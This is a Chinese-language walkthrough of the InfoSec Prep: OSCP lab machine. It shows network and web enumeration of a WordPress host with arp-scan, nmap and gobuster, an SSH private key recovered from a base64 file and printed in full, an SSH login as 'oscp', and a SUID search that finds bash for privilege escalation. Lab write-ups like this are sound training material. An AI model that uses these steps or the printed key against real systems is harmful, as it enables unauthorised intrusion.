红队打靶练习:INFOSEC PREP: OSCP

目录

信息收集

1、arp

2、nmap

WEB

信息收集

wpscan

dirsearch

ssh登录

提权

信息收集

1、arp

┌──(root㉿ru)-[~/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:69:c7:bf, IPv4: 192.168.110.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.110.1   00:50:56:c0:00:08       VMware, Inc.
192.168.110.2   00:50:56:ec:d1:ca       VMware, Inc.
192.168.110.142 00:50:56:21:f6:30       VMware, Inc.
192.168.110.254 00:50:56:ff:50:cf       VMware, Inc.5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.439 seconds (104.96 hosts/sec). 4 responded

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2、nmap

端口探测┌──(root㉿ru)-[~/kali]
└─# nmap -p- 192.168.110.142 --min-rate 10000 -oA port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-31 10:16 CST
Nmap scan report for 192.168.110.142
Host is up (0.0018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
33060/tcp open  mysqlx
MAC Address: 00:50:56:21:F6:30 (VMware)Nmap done: 1 IP address (1 host up) scanned in 6.20 seconds

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信息探测┌──(root㉿ru)-[~/kali]
└─# nmap -sC -sV -O -p 22,80,33060 192.168.110.142 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-31 10:18 CST
Nmap scan report for 192.168.110.142
Host is up (0.00038s latency).PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 91:ba:0d:d4:39:05:e3:13:55:57:8f:1b:46:90:db:e4 (RSA)
|   256 0f:35:d1:a1:31:f2:f6:aa:75:e8:17:01:e7:1e:d1:d5 (ECDSA)
|_  256 af:f1:53:ea:7b:4d:d7:fa:d8:de:0d:f2:28:fc:86:d7 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: OSCP Voucher – Just another WordPress site
| http-robots.txt: 1 disallowed entry
|_/secret.txt
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.4.2
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.94SVN%I=7%D=1/31%Time=65B9ADE7%P=x86_64-pc-linux-gnu%
SF:r(NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x
SF:0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTT
SF:POptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\
SF:x0b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSV
SF:ersionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTC
SF:P,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\
SF:0")%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\
SF:x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCoo
SF:kie,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20messag
SF:e\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNe
SF:g,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05
SF:HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDStri
SF:ng,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message
SF:\"\x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOpti
SF:ons,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05
SF:\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY
SF:000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\
SF:0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"
SF:)%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message
SF:\"\x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
MAC Address: 00:50:56:21:F6:30 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.28 seconds

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WEB

信息收集

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关键信息wordpress！！默认登录的目录为 /wp-admin

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wpscan

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发现用户admin！

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dirsearch

┌──(root㉿ru)-[~/kali]
└─# gobuster dir -u http://192.168.110.142/ -x php,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.110.142/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 280]
/.html                (Status: 403) [Size: 280]
/index.php            (Status: 301) [Size: 0] [--> http://192.168.110.142/]
/wp-content           (Status: 301) [Size: 323] [--> http://192.168.110.142/wp-content/]
/wp-login.php         (Status: 200) [Size: 4846]
/license.txt          (Status: 200) [Size: 19915]
/wp-includes          (Status: 301) [Size: 324] [--> http://192.168.110.142/wp-includes/]
/javascript           (Status: 301) [Size: 323] [--> http://192.168.110.142/javascript/]
/readme.html          (Status: 200) [Size: 7278]
/robots.txt           (Status: 200) [Size: 36]
/wp-trackback.php     (Status: 200) [Size: 135]
/secret.txt           (Status: 200) [Size: 3502]
/wp-admin             (Status: 301) [Size: 321] [--> http://192.168.110.142/wp-admin/]
/xmlrpc.php           (Status: 405) [Size: 42]
/.php                 (Status: 403) [Size: 280]
/.html                (Status: 403) [Size: 280]
/wp-signup.php        (Status: 302) [Size: 0] [--> http://192.168.110.142/wp-login.php?action=register]
/server-status        (Status: 403) [Size: 280]
Progress: 653460 / 882244 (74.07%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 653900 / 882244 (74.12%)
===============================================================
Finished
===============================================================

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发现robotx.txt目录！得到/secret.txt目录，通过访问得到base64编码的字符串！

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通过base64解码得到密钥！美滋滋！

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┌──(root㉿ru)-[~/kali]
└─# cat key
-----BEGIN OPENSSH PRIVATE KEY-----
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
8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=
-----END OPENSSH PRIVATE KEY-----

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在这里我们知道了密钥！但是不知道登录名！我们知道wordpress的登录！但是不知道密码！很烦！如果使用admin作为ssh登录。使用公钥进行登录的话!还是会报错！

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再次经过信息收集，我们发现oscp？？我们使用这个作为ssh登陆的用户名！

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ssh登录

┌──(root㉿ru)-[~/kali]
└─# ssh -i key oscp@192.168.110.142
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantageSystem information as of Wed 31 Jan 2024 02:45:13 AM UTCSystem load:  0.18               Processes:             211Usage of /:   26.5% of 19.56GB   Users logged in:       0Memory usage: 72%                IPv4 address for eth0: 192.168.110.142Swap usage:   0%0 updates can be installed immediately.
0 of these updates are security updates.The list of available updates is more than a week old.
To check for new updates run: sudo apt updateLast login: Sat Jul 11 16:50:11 2020 from 192.168.128.1
-bash-5.0$

提权

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-bash-5.0$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/7264/usr/lib/snapd/snap-confine
/snap/snapd/8140/usr/lib/snapd/snap-confine
/snap/core18/1705/bin/mount
/snap/core18/1705/bin/ping
/snap/core18/1705/bin/su
/snap/core18/1705/bin/umount
/snap/core18/1705/usr/bin/chfn
/snap/core18/1705/usr/bin/chsh
/snap/core18/1705/usr/bin/gpasswd
/snap/core18/1705/usr/bin/newgrp
/snap/core18/1705/usr/bin/passwd
/snap/core18/1705/usr/bin/sudo
/snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1705/usr/lib/openssh/ssh-keysign
/snap/core18/1754/bin/mount
/snap/core18/1754/bin/ping
/snap/core18/1754/bin/su
/snap/core18/1754/bin/umount
/snap/core18/1754/usr/bin/chfn
/snap/core18/1754/usr/bin/chsh
/snap/core18/1754/usr/bin/gpasswd
/snap/core18/1754/usr/bin/newgrp
/snap/core18/1754/usr/bin/passwd
/snap/core18/1754/usr/bin/sudo
/snap/core18/1754/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1754/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/bash
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/chsh
/usr/bin/su

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发现没有sudo权限！
但是可以使用bash？

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拿下！五分钟！

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